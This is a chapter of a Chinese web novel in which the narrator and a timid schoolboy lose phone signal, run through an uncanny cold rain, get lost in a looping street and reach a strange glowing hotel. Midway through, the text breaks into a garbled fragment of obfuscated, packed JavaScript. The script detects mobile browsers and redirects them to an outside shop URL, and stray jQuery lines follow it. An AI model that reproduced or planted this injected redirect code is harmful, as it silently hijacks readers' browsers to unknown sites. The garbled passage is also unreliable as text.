我的手机是“克为”。
品牌是克为，运营商也是克为。
这两个名字听起来一模一样，不是因为中心城的商业公司已经懒到连名字都懒得分别取，而是因为它们本来就属于同一家。
中心城政府旗下的官方品牌。
从通信网络到手机终端，再到遍布大街小巷的营业厅和维修中心，几乎什么都管。论设计，未必有那些财阀旗下的牌子花哨；论服务，也不能说多么体贴。
但它有一个无可替代的优点。
稳定。
只要中心城政府还没有正式宣布倒闭，克为就应该永远有信号。
更何况，我手里的还是旗舰款，买回来才用了两年。日常除了偶尔摔两下，没有泡过水，没有被车碾过，也没有拿来垫过桌脚。
理论上，它不应该在这个不怎么美好的夜晚突然寿终正寝。
而且。
我从这个地铁站进进出出了二十年。
上学，上班。早高峰挤过，晚高峰挤过，凌晨的末班车也坐过。地铁里偶尔会断网，隧道里信号也可能不稳定，但出了闸机以后，信号总会坚强地重新爬满。
从来没有出现过现在这种情况。
不是一格两格。
是完全没有。
至于停机，更不可能。
我每个月一号都设置了自动充值。只要银行不倒闭，通信系统不瘫痪，账户里的余额足够让我连续失联几年。
我心里已经有了一点不太好的预感。
我转头看向身边的林见秋。
“你手机有信号吗？”
林见秋愣了一下。
随后摇头。
“我的手机送去修了。”他说，“要一个星期。”
我沉默了半秒。
一个星期。
这是什么屎一样的维修效率。
不过算了。
就算他现在有手机，估计也用不了。
我握着手机，态度诚恳地告诉他：“我有一个不好的消息。”
林见秋看向我。
他的眼睛里浮出一点疑惑。
我把手机递过去。
他下意识松开抱着的书包，伸手接住。包着纱布的手掌动作有些僵，另一只手托住手机，低头看向屏幕右上角。
那里依旧干干净净。
信号格是空的。
运营商的名字消失了。
只剩一个小小的叉十分安静地挂在那里，像是在提醒我们它已经死得很彻底。
“我的手机完全没有信号。”我说，“这很不正常。”
林见秋抬起头。
我的表很认真：“我怀疑我们撞鬼了。”
他沉默了。
不是普通的停顿，而是很认真、很漫长地沉默了一会儿。
雨丝从地铁口外斜着飘进来，落在台阶边缘。头顶的灯安静地亮着，把他的脸照得很白。
过了一会儿，他把手机递还给我。
“可能……”他停了停，语气有些委婉，“过一会儿就好了……吧？”
我接过手机，没有说话。
我看着他。表情三分凉薄，五分讽刺，剩下两分是对他这句话所体现出的没有B数和乐观精神表示尊重。
林见秋被我看得微微偏开了脸，表情尴尬。
我们两个人就这么僵硬地站在地铁口。
外面的雨还在下。
没有变小，也没有变大。细密的雨线落在路灯下，在不远处的街道盖上一层模糊的水雾。地面已经湿透，积水沿着路边缓慢流动，映着被雨打散的灯光。
灯光昏暗，将积水映成了污浊的黑。
谁也没有说话。
过了一会儿，林见秋动了。
他松开书包带，抬手拉开校服外套的拉链。
我看着他把外套脱下来。
外套下面是一件白色的长袖校服衬衫。
款式很规矩，领口扣得整齐，袖口也收得干净。白色布料贴着他略显削瘦的肩背，勾出少年人尚未完全长开的身形。因为刚才一直缩着肩膀抱着书包，看不太出来，现在外套脱掉，他身上那种属于高中生的干净感才一下子显出来。
年轻，单薄，又很安静。
像刚从教室里走出来，身上还残留着粉笔灰和旧课本的气味。
如果忽略他校服上的脏痕、手上的纱布，以及我们目前可能正在撞鬼这件事，画面其实称得上青春美好。
林见秋把外套递给我。
“可以……”他似乎有些不好意思，声音也低了下去，“用这个挡雨。”
我看看外套。
又看看他。
大概是因为我没有立刻接过去，他的手迟疑了一下。
原本伸过来的手开始往回缩。
脸上的神情也明显变得更加不知所措，像是已经在后悔自己刚才为什么要突然多管闲事。
就在他即将把外套收回去的时候，我伸手接住了。
林见秋像是松了口气。
下一秒，我抖开外套，直接盖在了他的头上。
他整个人猛地僵住。
这人平时总喜欢缩成一团，坐着的时候更是恨不得把自己压缩成一个方便携带的包裹，所以一直看不出真实身高。
现在站起来才发现，身量其实挺高。
应该有一米七八。
我还需要稍微跳一下，才能顺利把外套盖到他头上。
至于为什么不是一米八，我只能说，我的眼睛就是尺。
少年略显削瘦的身体被从头顶盖下来的外套压得弯了一点。宽大的校服遮住了他的头发和大半张脸，只能看见线条干净的下巴，以及因为震惊而停住的动作。
虽然看不清他的表情。
但我知道，他一定非常震惊。
“披着。”我说，“尽量别让雨淋到身上。”
林见秋隔着外套，一动不动。
我继续吩咐：“跟我一起冲回家拿伞。”
他愣了一会儿。
过了几秒，才抬手抓住盖在头顶的外套边缘，没有把它扯下来。
“……好。”
声音低低的。
没有反对。样子很乖巧。
果然。
这种柔弱可欺、软得没有脾气的人，只要直接命令他做什么，他就会马上答应。
简单准备了一下。
或者说，主要是林见秋准备了一下。
我没有什么好准备的。
毕竟我平时上下班就是极简主义者。不带包，不背东西，不携带任何会增加肩膀负担的无意义物品。我的人生理念一直很明确，能放口袋里的东西，就没有必要专门占一个空间。
当然。
现在这个理念让我付出了一点代价。
比如下雨的时候，永远无法体面又自信的从包里最底层掏出一把雨伞。
现在的我，只能拿一块签名板凑数。
事已至此，我已经完全不在乎它了。
那块有签有”沈栖迟“名字的板子，对我而言，它最大的用途和价值就是充当一块临时挡雨工具。
从收藏品降级成雨具。实用价值拉满。
我把签名板顶在头上，再将外套脱下，盖在上面。
林见秋则把自己的书包顶起来，用书包撑开校服外套。
两个人站在地铁口，看起来像两个临时制作防雨装置的难民。
中心城现代化城市建设几十年多年，面对真正的绝境，还是需要最原始的方式。
我确认了一下外套不会直接掉下来。
“走。”
说完，我率先冲出了地铁站。
林见秋跟在我后面。脚步声急促。
雨不算大。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745279|209266||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>至少没有大到刚冲出去就把我们两个人淋成落汤鸡的程度。
但细密的雨丝还是顺着跑动的方向斜斜打过来，穿过外套边缘，落在我的脸上和脖子上。
有点冷。
而且不是普通秋雨的那种凉。
更像是温度比正常情况低了一截。
明明现在只是秋天。
可这雨落在皮肤上的感觉，却像冬天刚下过雪后湿润的冷空气，冰得让人不舒服。
我一边跑，一边抬头看向前方。
视线被外套挡住了一部分，只能从边缘看出去。
两侧的街景在雨幕里变得模糊。
路灯，建筑，街边的广告牌，全都像被一层磨砂的半透明的玻璃隔开。
我跑了一会儿。慢慢意识到了不对劲。
正常情况下，跑了这一会儿。
从这里起步，应该已经能看到前面那家二十四小时便利店的发光招牌。
那个招牌很亮。
亮到有时候晚上回家，我甚至不用看路牌，只要看到那块蓝绿色的光，就知道自己离家不远了。
但是现在。什么都没有。
没有便利店。
没有招牌。
没有熟悉的街角。
只有一片被雨覆盖的昏暗道路。
我停了一下。
心里浮出一个显而易见的答案。
鬼打墙。
长这么大，我还真没遇到过。
以前看恐怖片的时候，主角遇到鬼打墙，通常会表现得非常惊慌，然后开始疯狂寻找出口。
但问题是。
如果真的遇到了，我也不知道该怎么办。
我已经在好奇唐梨推荐的妙妙论坛里，有没有人提到过“遇到鬼打墙后的正确处理方式”。
要不说知识还得往杂的学呢。
比如《都市异常环境下如何判断自己精神是否异常》。
或者《如何判断自己是不是常规认识中的人类》。
思维如雨丝般发散。我站在雨里，听着身后的脚步声。
然后突然产生了一个大胆的想法。
这不是有一位本地人吗。
我转身，直接跑到了林见秋身后。
林见秋明显愣住了。
隔着盖在头上的外套，他抬起脸看我。
“你……”
“你带路。”
我打断他。
他的表情更加茫然。
“去你家的方向。”
我重复了一遍。语气稍微加重。
非常明显和刻意的命令式语气。
林见秋看着我，像是想说什么。
但最后只是低下头。
“……好。”
声音还是一如既往地轻。
然后他转过身，开始往另一个方向跑。
这一次。没有多久。
雨夜的尽头出现了一点光。
不是路灯，路灯没那么亮。也不是便利店，灯光高级得多。
那是一栋三层建筑。
它安静地立在昏暗的街道尽头，像是从雨幕里突然浮现出来。
建筑外墙被暖黄色灯光照亮。
三层楼的高度不算夸张，但装修风格明显和周围普通街区不同。
玻璃，石材，精致的装饰线条。
即使隔着雨幕，也能看出一种过分讲究的高级感。
最醒目的，是门口那个招牌。
几个漂亮的花体字连在一起，像某种欧洲老电影里的酒店名称。
灯光从字母边缘溢出来，在雨雾里形成一圈柔和的光晕。雨水顺着招牌边缘滑落，又将其被切碎成一片片晃动的金色。
在这种寒冷、昏暗、看不清方向的夜晚里，那一点光几乎带着诱惑。
我看着那栋酒店。
心里有种“果然如此”的感觉。